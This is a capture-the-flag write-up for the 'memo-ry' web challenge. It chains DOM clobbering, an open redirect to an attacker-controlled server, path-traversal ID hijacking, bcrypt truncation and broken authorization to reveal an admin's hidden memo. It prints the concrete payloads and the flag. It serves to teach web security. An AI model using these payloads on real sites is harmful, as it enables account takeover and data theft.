NuttyShell CTF 2025: memo-ry
Chaining multiple bugs for the flag
I played NuttyShell CTF 2025 organized by the Hong Kong Polytechnic University, and came across siunam’s web challenges. In particular, memo-ry is a hard challenge that required players to chain multiple vulnerabilities to retrieve the flag. I found it really fun and decided to compile a writeup for this.
Challenge Summary⌗
Memo-ry is a 90% finished web application that allows users to read, create, and edit different memos. For security reasons, this web application has 3 roles, which are “Guest”, “Author”, and “Administrator”. It also has the following features:
- Guest users can read/create memos (required approval if visibility is set to public).
- Author user (mid-level privilege) can read/create/approve memos.
- Administrator (high-level privilege) can read/create/approve/edit memos.
- Memo’s visibility can be set to either public or private.
- Users are allowed to use limited HTML code in their memo’s content.
- Users can change their username.
- Memo-ry website:
http://HOST:PORT
- Admin bot:
http://HOST:PORT/report
Author: siunam
Flag Format:PUCTF25{[a-zA-Z0-9_]+_[a-fA-F0-9]{32}}
Attachment:
Memo-ry.tar.gz
We are given a memo-related webapp. There is a bot that signs in as siunam (an author) that visits an arbitrary page and click the approval button after it is loaded. The objective is to read the flag from the an admin’s hidden memo.

Solution⌗
Prologue - What to do?⌗
We would like to pivot our editor, siunam to read the hidden memo from the admin.
We can inject a limited set of HTML elements on the /approve
view by manipulating the notice
parameter and the unapproved memos. However, the CSP is enabled with script-src
being a random nonce, it doesn’t seem possible to perform XSS. Instead, there is a chain of vulnerabilities:
- π DOM clobbering on
GET /approve
.
Implication: Makes siunam call an arbitraryGET
endpoint. - π Open redirect on
GET /edit
.
Implication: Makes siunam call an arbitrary externalGET
endpoint. - π·οΈ ID hijacking on
GET /approve
.
Implication: Makes siunam call an arbitraryPOST
endpoint. - πͺ² Improper
bcrypt
usage onPOST /api/username
.
Implication: Invalidates siunam’s password. - π¦ Broken authentication on
PUT /api/memo/:id
.
Implication: Updates the flag memo to visible.
Part I: DOM clobbering⌗
Below shows a snippet of /app/src/views/approve.ejs
.
<script nonce="<%= nonce %>">
const MEMO_CSRF_TOKEN = '<%= csrfToken %>';
const MEMO_CSRF_ACTION = '<%= csrfAction %>';
const DOMPURIFY_CONFIG = {
ALLOWED_ATTR: ['alt', 'href', 'src', 'id', 'class', 'disabled'],
ALLOWED_TAGS: ['h1', 'h2', 'h3', 'a', 'b', 'strong', 'i', 's', 'br'],
ALLOW_ARIA_ATTR: false,
ALLOW_DATA_ATTR: false
}
$(document).ready(async function() {
let searchParameters = new URLSearchParams(window.location.search);
if (searchParameters.has('notice')) {
let notice = searchParameters.get('notice');
let dirtyNotice = `<h3>Notice from the memo's user: ${notice}</h3>`;
let cleanNotice = DOMPurify.sanitize(dirtyNotice, DOMPURIFY_CONFIG);
$('.container').append(cleanNotice);
}
var data = Object.create({});
// TODO: implement get unapproved memos by username
// var user = { username: localStorage.getItem('username') };
if (typeof user !== 'undefined') {
data = await $.get(`/api/memos/${decodeURIComponent(user.username)}`);
} else {
data = await $.get('/api/unapproved-memos');
}
We are able to insert tags like alt
, href
and so on into the container. Also, note that the user
variable on line 49 is not defined anywhere.
It is surprising to see that one could overwrite user.username
to foo
by creating the below DOM element1:
<a id=user href="ftp:foo:bar@a"></a>
With that, we can overwrite user.username
to an arbitrary value. Now siunam will be calling an arbitrary GET
endpoint when he loads the page. Then what?
Part II: Open redirect, plus ID hijacking⌗
Let’s continue reading /app/src/views/approve.ejs
.
let memoCounter = 1;
data.forEach(memo => {
if (memo.approved === 1) {
return;
}
var memoElement = $('<div class="memo">');
memoElement.append($('<h3></h3>').text(`Memo #${memoCounter}`));
memoElement.append($('<h2></h2>').text(`${memo.title} - ${memo.username}`));
memoElement.append($('<p></p>').text(memo.body));
var approveFormElement = $('<form id="approve-memo-form"></form>');
approveFormElement.append($('<input type="hidden" name="id">').val(memo.id));
approveFormElement.append($('<input type="hidden" name="title">').val(memo.title));
approveFormElement.append($('<input type="submit" value="Approve">'));
memoElement.append(approveFormElement);
$('.container').append(memoElement);
memoCounter++;
});
$(document).on('submit', '#approve-memo-form', function(e) {
e.preventDefault();
const id = $('#approve-memo-form input[name="id"]').val();
const title = $('#approve-memo-form input[name="title"]').val();
// TODO: implement logging the memo's approval details. i.e.: approved by whom, when, approval reason, etc.
// Currently we're sending the memo's title for a placeholder.
$.ajax({
url: `/api/memo/${id}/approve`,
type: 'POST',
data: title,
We want to control id
on line 85 so that we could trigger a POST
request on siunam’s side when he approves a memo. For instance, if we set id
to ../username?
and the title to {"username":"AAAAA...AAA"}
, he will change his username to AAAAA…AAA (we will call him A98A for simplicity) to pwner’s liking. An example JSON object would be below:
[
{
"approved": false,
"title": "{\"username\":\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"}",
"id": "../username?",
}
]
The GET
endpoints provided by the webapp is kind of restricted. There are no API endpoints that would return a JSON object with an arbitrary ID.
Fortunately, there is an open redirect on GET /edit
. Every non-admin user will be redirected to the URL specified by the redirect
parameter. Below shows a snippet of /app/src/views.js
that reflects the logic:
router.get('/edit', authenticationMiddleware, (req, res) => {
if (req.session.role !== 'admin') {
const redirectUrl = req.query.redirect || '/';
return res.redirect(redirectUrl);
}
const csrfToken = csrf.generateCSRFToken(TEMP_MEMO_CSRF_ACTION);
return res.render('edit', {
nonce: res.locals.cspNonce,
csrfToken,
csrfAction: TEMP_MEMO_CSRF_ACTION
});
});
When siunam visits GET /edit?redirect=http://bad.mystiz.hk:1337
, the request will be redirected to http://bad.mystiz.hk:1337
. If we serves the above JSON object as the response, then siunam will have his username updated.
siunam is renamed to A98A. Now what?
Part III: Improper bcrypt
usage⌗
Even siunam becomes A98A, we are still unable to sign in as an editor… or can we?
We can try to sign in with the password 123456
. Surprisingly it worked - isn’t the password long and secure? Turns out this is a behaviour of bcrypt
, where only the first 72 bytes is used to compute the hash2:
Per bcrypt implementation, only the first 72 bytes of a string are used. Any extra bytes are ignored when matching passwords.
If the username being AAAAA...AA
(100 A
’s) and the password being password
, then the preimage would be AAAAA...AA|password
. Since the first 72 bytes will be used to compute the hash, the below equality holds:
$$\texttt{bcrypt}(\underbrace{\texttt{AAA…AA}}_{100\ \texttt{A}\text{’s}}\texttt{|password}, \text{salt}=π§) = \texttt{bcrypt}(\underbrace{\texttt{AAA…AA}}_{72\ \texttt{A}\text{’s}}, \text{salt}=π§)$$
When we attempt to log in as A98A, the password we provided will also be truncated. Thus we are able to sign in as A98A and to approve memos. Where do we go from here?
Part IV: Broken authentication⌗
Well, although GET /edit
would redirect A98A away, the actual API is still usable for editors. A98A could still edit memos and change their visibility. The below snippet for /app/src/api.js
shows that /api/memo/:id
only redirects guests away, not the editors:
router.put('/api/memo/:id', authenticationMiddleware, csrf.CSRFMiddleware, async (req, res) => {
try {
if (req.session.role === 'guest') {
throw new Error('Unauthorized');
}
By updating the visibility, we brought the flag memo to light:
PUCTF25{CL1ENt_TRavEr5e_T0_ThE_fla9_paTh_JSn5bRetRoFNYVJ5VSqDxf5Rx98imWg4}

-
Gareth Heyes (2020) “DOM Clobbering strikes back”
https://portswigger.net/research/dom-clobbering-strikes-back ↩︎ -
kelektiv (2023): “node.bcrypt.js”
https://www.npmjs.com/package/bcrypt ↩︎